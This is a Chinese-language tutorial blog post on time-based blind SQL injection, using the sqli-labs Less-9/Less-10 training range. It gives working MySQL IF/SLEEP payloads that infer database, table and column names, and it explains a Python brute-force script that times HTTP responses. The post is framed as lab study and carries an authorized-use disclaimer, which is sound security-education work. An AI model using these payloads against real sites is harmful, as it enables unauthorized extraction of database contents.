当前位置: 首页 > news >正文

SQL 注入实战:时间盲注原理与 Python 脚本详解

前言

前两篇文章介绍了布尔盲注——它依赖页面在"正确"和"错误"时呈现不同内容。但如果目标页面对任何输入都返回完全相同的响应,布尔盲注就彻底失效了。

这时候就轮到时间盲注(Time-based Blind SQLi)登场:我们不再观察页面内容的变化,而是让数据库"睡一觉",通过测量响应时间来判断条件真假。只要服务器响应慢了,我们就知道答对了。

文章目录

    • 前言
    • 靶场题目:Less-9 / Less-10
    • 核心原理:用时间说话
      • 手工验证注入点
    • 手工注入:完整流程
      • 爆破数据库名长度
      • 逐字符爆破库名
      • 爆破表名
    • Python 脚本:`timeblind.py` 解析
      • 整体架构
      • 时间测量的核心写法
      • 库名爆破的两段式设计
      • 表名与字段名的三层嵌套
    • 时间盲注的局限与注意事项
    • 三种盲注方式横向对比
    • 完整代码与靶场资源

靶场题目:Less-9 / Less-10

Less-9 和 Less-10 是时间盲注的标准练习题。特征如下:

  • 无论输入什么,页面响应始终一致
  • 没有报错,没有数据回显,没有任何状态区分
  • 唯一可利用的信息通道:HTTP 响应时间

Less-9 使用单引号闭合,Less-10 使用双引号闭合,脚本中通过切换注释对应 payload 即可适配两种情况。


核心原理:用时间说话

MySQL 提供了两个关键武器:

-- 让数据库暂停 5 秒SELECTSLEEP(5);-- 条件判断:库名是否为 security?是则睡 5 秒,否则什么都不做SELECTIF((SELECTDATABASE())='security',SLEEP(5),NULL);

IF(condition, true_result, false_result)是时间盲注的核心结构。把"睡眠"嵌入条件分支,就把"对与错"变成了"慢与快"。

手工验证注入点

-- 第一步:确认 sleep 能否生效?id=2' and sleep(5) --+ -- 第二步:尝试条件判断 ?id=2'andif((selectdatabase())='security',sleep(5),null)--+

如果第一条让页面延迟 5 秒,说明注入点存在且时间盲注可行。


手工注入:完整流程

爆破数据库名长度

?id=1'andif(length(database())>7,sleep(5),0)--+

从 1 开始逐步增大比较值,当页面不再延迟时,上一个值就是库名长度。

逐字符爆破库名

-- 判断库名第一个字符是否为 's'(ASCII 115)?id=1'andif(ascii(substr(database(),1,1))=115,sleep(5),0)--+

爆破表名

-- 取第一张表的第一个字符,判断是否为 'e'(ASCII 101)?id=1'andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))=115,sleep(5),0)--+

limit 0,1取第一张表,limit 1,1取第二张,依此枚举。

实战技巧:数据库名、表名等字符串在 payload 中可以用其HEX 值代替,避免引号冲突,同时也能绕过部分过滤。例如'security'等价于0x73656375726974…


Python 脚本:timeblind.py解析

脚本将完整攻击链拆分为五个独立函数,结构清晰,每一步都可以单独调用:

整体架构

main() ├── database_len() → 爆破库名长度 ├── database_name(len) → 爆破库名 ├── table_name() → 枚举所有表名 ├── colum_name(table) → 枚举指定表的字段名 └── data(column, table) → 提取字段数据

时间测量的核心写法

所有函数都遵循同一个计时模式:

importdatetime time1=datetime.datetime.now()r=requests.get(url+payload)time2=datetime.datetime.now()sec=(time2-time1).secondsifsec>=2:# 条件成立,记录当前字符

datetime精确记录请求前后的时间戳,差值超过阈值(2~3 秒)即视为"条件成立"。这比直接用time.time()更语义化,也更便于阅读。

库名爆破的两段式设计

database_len()先确定长度,database_name(len)再按长度逐字符枚举。这样避免了盲目爆破造成的请求浪费——一旦知道库名只有 8 位,后续循环就不会多跑一次。

database_name的枚举字符集直接使用字符串遍历,而非 ASCII 码范围循环:

forjin'0123456789abcdefghijklmnopqrstuvwxyz':# 直接比较字符,payload 构造更直观

对于库名、表名这类通常只含小写字母和数字的目标,缩小字符集能显著减少请求次数。

表名与字段名的三层嵌套

爆破表名和字段名需要三层for循环:

外层 k:第 k 张表(或第 k 个字段) 中层 i:字符串的第 i 个字符 内层 j:ASCII 码范围 65~122(A-z)

这个范围覆盖了大小写字母,足以应对常见的表名和字段名。如需支持数字或下划线,扩展range的起始值即可。


时间盲注的局限与注意事项

网络抖动是最大的干扰源。时间盲注依赖响应时间判断,而网络延迟是不稳定的。实践中有几种应对策略:

  • 将 sleep 时间设置得足够大(≥3 秒),远超正常响应时间
  • 对同一个 payload 发送多次,取平均值或多数结果
  • 在本地靶场练习时效果最稳定,生产环境慢网络下误判率会上升

线性枚举效率问题。timeblind.py的内层循环使用线性枚举,每个字符最多需要发送数十次请求,每次还要等待 sleep 超时。爆破一个完整的数据集可能需要数分钟甚至更长时间。结合二分查找优化是进阶方向。


三种盲注方式横向对比

注入类型判断依据适用场景效率
布尔盲注(线性)页面内容差异有明显回显状态区分较低
布尔盲注(二分)页面内容差异同上,追求效率较高
时间盲注HTTP 响应时间页面完全无差异最低

时间盲注是三者中适用范围最广的,但也是效率最低、稳定性最差的。真实渗透测试中,时间盲注通常是在其他方式都失效后的最后手段。


完整代码与靶场资源

timeblind.py脚本已开源至 GitHub,与bool.pybool1.py收录在同一仓库中。
脚本链接: github.com/aqirompt/sqli-labs-bool

靶场搭建请参考:

  • 通用版:github.com/Audi-1/sqli-labs
  • PHP7 兼容版:github.com/skyblueee/sqli-labs-php7

至此,布尔盲注与时间盲注的完整系列告一段落,届见。

免责声明:本文所有内容仅供授权环境下的安全学习与研究,切勿将相关技术用于任何未经授权的系统。

http://www.jsqmd.com/news/536797/

相关文章:

  • 5分钟搞定OpenClaw安装:Qwen3-32B镜像一键部署指南
  • 2026杭州优质资质/补贴/地址挂靠/注册代办公司推荐:浙江乘风财务咨询领衔 - 栗子测评
  • FPGA入门实战:从零构建D触发器(Data/Delay Flip-Flop)的时序逻辑核心
  • py每日spider案例之某website反混淆后的代码
  • 流水线设计避坑指南:什么时候该用?深度怎么选?看完这篇就懂了
  • Polars 2.0内存泄漏与OOM频发真相(2024企业级调优白皮书首发)
  • 基于PDE的树枝晶相场模型与锂枝晶COMSOL仿真模拟
  • 虚拟显示技术完全指南:从需求到实践的无屏解决方案
  • 乐山临江鳝丝优质探店品牌推荐榜:乐山临江鳝丝非遗、乐山大佛附近鳝丝、乐山必吃临江鳝丝、乐山本地人推荐的临江鳝丝选择指南 - 优质品牌商家
  • Java 线程池深度解析:ThreadPoolExecutor 七大参数与核心原理
  • 免费USB启动盘制作神器Rufus:3分钟搞定Windows/Linux系统安装
  • SDMatte Web界面性能优化:WebAssembly加速预处理模块实测
  • 计算机毕业设计:美食推荐系统设计与协同过滤算法实现 Django框架 爬虫 协同过滤推荐算法 可视化 推荐系统 数据分析 大数据(建议收藏)✅
  • Shadcn UI vs. 其他React组件库:为什么开发者更偏爱它的高定制化?
  • OpenClaw定时任务实战:百川2-13B模型每日自动生成技术日报
  • Chatbot Arena 最新网址解析:如何利用AI辅助开发提升对话系统性能
  • 【AI基建负责人亲述】:为什么我们6个月内将PyTorch切换为JAX?——高并发训练场景下显存节省47%、吞吐提升2.3倍的真实迁移路径
  • 保姆级教程:在Mac/Windows上给Dify装上Chrome MCP,实现网页自动化(含Docker网络避坑指南)
  • OpenClaw+GLM-4.7-Flash自动化测试:3小时无人值守执行日志分析
  • MacOS极简部署OpenClaw:GLM-4.7-Flash云端沙盒体验
  • UOS系统崩溃别慌!手把手教你用Live CD和TTY模式紧急修复(附分区挂载详解)
  • 中国智能制造科技企业有哪些
  • MATLAB/Simulink 中基于线性自抗扰 LADRC 控制的虚拟同步机 VSG 预同步并离网切换仿真探究
  • OpenClaw成本优化方案:自建GLM-4.7-Flash替代高价API调用
  • Star-CCM+与Vaone助力汽车气动噪声仿真教学入门
  • Parsec VDD虚拟显示技术创新实践:突破物理限制的显示解决方案
  • 在CentOS 7上远程跑3D应用:保姆级TurboVNC+VirtualGL配置与GPU调用验证
  • SkeyeVSS国标信令中心服务中HTTP服务架构设计
  • 中文大模型琅琊榜:MiniMax、GLM、Kimi如何领跑技术革新?
  • Pywinauto Recorder:3个差异化价值助力Web界面自动化测试